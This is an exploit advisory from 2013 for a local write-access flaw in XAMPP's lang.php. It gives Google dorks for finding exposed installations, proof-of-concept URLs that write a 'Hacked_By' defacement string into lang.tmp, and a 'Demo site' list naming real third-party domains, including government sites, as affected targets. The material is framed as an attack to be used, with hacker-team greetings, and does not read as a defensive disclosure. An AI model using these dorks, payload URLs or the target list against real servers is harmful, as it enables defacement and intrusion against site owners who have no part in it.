####################################################### # # [+] Exploit Title: XAMPP All Version Local Write Access Vulnerability # [+] Google Dork 1 : inurl:/xampp/lang.php # [+] Google Dork 2 : inurl:/security/lang.php # [+] Date: 15/10/2013 # [+] Discovered By : Black.Hack3r # [+] Exploit Author: Iranian_Dark_Coders_Team # [+] Vendor Homepage: http://www.apachefriends.org # [+] Version: All Version # [+] Tested on: Windows 7 ######################################################## # # [+] BACKGROUND: # # XAMPP is a free and open source cross-platform web server solution stack # package, consisting mainly of the Apache HTTP Server, MySQL database, and # interpreters for scripts written in the PHP and Perl programming languages. # ####################################################### # # [+] DESCRIPTION: # # It has been detected than an unprivileged user can write in the local # disk and the local file "lang.tmp" can be modified in the remote machine. # The injection is done through the page "/xampp/lang.php". # ####################################################### # # [+] VULNERABILITY: # # XAMPP All Version Local Write Access Vulnerability # ####################################################### # # [+] Exploit: # # http://localhost/[path]/xampp/lang.php # http://localhost/[path]/security/lang.php # ####################################################### # # [+] Proof: # # http://localhost/[path]/xampp/lang.php?WriteIntoLocalDisk # http://localhost/[path]/security/lang.php?WriteIntoLocalDisk # # Example 1 : http://localhost/[path]/xampp/lang.php?Hacked_By_Black.Hack3r_______________Iranian_Dark_Coders_Team # Example 2 : http://localhost/[path]/security/lang.php?Hacked_By_Black.Hack3r_______________Iranian_Dark_Coders_Team # # And next, if we access to the file: # # http://localhost/[path]/xampp/lang.tmp # http://localhost/[path]/security/lang.php # ####################################################### # # [+] Demo site: # # https://www.hsrdw.gov.cn/xampp/lang.tmp # https://www.hspop.gov.cn/xampp/lang.tmp # https://www.hsjrzw.gov.cn/xampp/lang.tmp # http://www.hrgiger.net//xampp/lang.tmp # https://www.tbtvn.org//xampp/lang.tmp # http://buru.no-ip.org//xampp/lang.tmp # http://ailbologna.it//xampp/lang.tmp # http://actionmu.info//xampp/lang.tmp # ####################################################### # # [+] Discovered By : Black.Hack3r # [+] We Are : M.R.S.CO,Black.Hack3r,N3O # [+] SpTnx : Mr.Cicili,Sec4ever,D$@d_M@n,shahram black hat,MR.0x41,C@M!S3R_H3X,M4H4N,Security,@3is,HOt0N,All Members In www.idc-team.net # [+] Home : http://www.idc-team.net # #######################################################